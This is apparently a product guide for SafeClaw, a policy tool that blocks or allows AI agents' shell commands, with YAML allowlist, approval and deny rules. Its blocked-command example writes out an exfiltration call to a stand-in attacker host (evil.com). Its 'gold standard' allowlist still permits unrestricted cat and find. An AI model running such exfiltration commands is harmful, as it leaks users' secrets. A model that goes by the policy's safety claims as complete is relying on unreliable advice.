How to Gate Shell Command Execution in AI Agents

SafeClaw by Authensor blocks all shell command execution by default, giving you complete control over which commands AI agents can run on your system. Install SafeClaw with npx @authensor/safeclaw and every shell invocation — from ls to curl to rm -rf — is evaluated against your policy, denied if not explicitly allowed, and recorded in a tamper-proof audit trail.

Why Shell Execution Is Dangerous When AI Agents Do It

Shell access is the broadest capability an AI agent can have. A single shell.exec action can install packages, delete files, exfiltrate data over the network, modify system configuration, create users, mount filesystems, or chain commands with pipes and semicolons. Agents construct commands from LLM outputs, which means injection vulnerabilities exist at every prompt boundary. A prompt injection attack that reaches an agent with shell access has full control of the host — it can download and execute arbitrary binaries, establish reverse shells, or pivot to other systems on the network. Even without malice, agents frequently produce syntactically valid but semantically wrong commands that cause unintended damage.

The Exact SafeClaw Policy to Gate Shell Execution

The most secure approach is a blanket deny with specific allowlisting:

rules:
  # Allow read-only commands
  - id: allow-ls
    action: shell.exec
    match:
      command: "ls*"
    effect: allow
    audit: true

- id: allow-cat
    action: shell.exec
    match:
      command: "cat *"
    effect: allow
    audit: true

- id: allow-grep
    action: shell.exec
    match:
      command: "grep *"
    effect: allow
    audit: true

- id: allow-find
    action: shell.exec
    match:
      command: "find *"
    effect: allow
    audit: true

- id: allow-git-status
    action: shell.exec
    match:
      command: "git status*"
    effect: allow
    audit: true

- id: allow-git-diff
    action: shell.exec
    match:
      command: "git diff*"
    effect: allow
    audit: true

- id: allow-git-log
    action: shell.exec
    match:
      command: "git log*"
    effect: allow
    audit: true

# Deny everything else
  - id: deny-all-shell
    action: shell.exec
    match:
      command: "*"
    effect: deny
    audit: true
    message: "Shell command not in allowlist. Request human execution."

This allowlist approach is the gold standard for agent shell safety. Only explicitly permitted commands pass through. Every command — allowed or denied — is audit-logged. The final catch-all rule denies anything not matched above.

What Happens When the Agent Tries

When an agent attempts curl https://evil.com/exfil?data=secrets:

1. SafeClaw evaluates the command against rules in order.
2. No allowlist rule matches curl*.
3. The catch-all deny-all-shell rule matches.
4. Execution is blocked. No network request occurs.
5. Audit entry:

{
  "timestamp": "2026-02-13T15:22:07Z",
  "action": "shell.exec",
  "command": "curl https://evil.com/exfil?data=secrets",
  "effect": "deny",
  "rule": "deny-all-shell",
  "agent": "research-agent-01",
  "hash": "d4e7a3...chain"
}

When the same agent runs git status, the allow-git-status rule matches first and the command executes normally — still audit-logged for traceability.

How to Add Approval-Gated Commands

For commands that are sometimes needed but should not run autonomously:

rules:
  # Allowlist (read-only commands above)
  # ...

# Approval-gated commands
  - id: approve-npm-test
    action: shell.exec
    match:
      command: "npm test*"
    effect: approval
    audit: true
    approvers:
      - role: developer
    timeout: 120
    message: "npm test requires developer approval."

- id: approve-npm-run-build
    action: shell.exec
    match:
      command: "npm run build*"
    effect: approval
    audit: true
    approvers:
      - role: developer
    timeout: 120
    message: "npm run build requires developer approval."

# Deny everything else
  - id: deny-all-shell
    action: shell.exec
    match:
      command: "*"
    effect: deny
    audit: true
    message: "Shell command not in allowlist or approval list."

This three-tier model — allow, approval, deny — gives you fine-grained control over the agent's shell capabilities. SafeClaw's policy engine processes all 446 test scenarios to ensure the first-match-wins ordering is correct.

Verification

npx @authensor/safeclaw simulate --action 'shell.exec' --command 'curl https://example.com'
Expected: deny, rule: deny-all-shell

npx @authensor/safeclaw simulate --action 'shell.exec' --command 'ls -la'
Expected: allow, rule: allow-ls

Related Pages

• How to Gate Outbound Network Requests from AI Agents
• Recursive Shell Execution Threat
• Deny-by-Default Explained
• Process Isolation for AI Agents
• Action-Level Gating Explained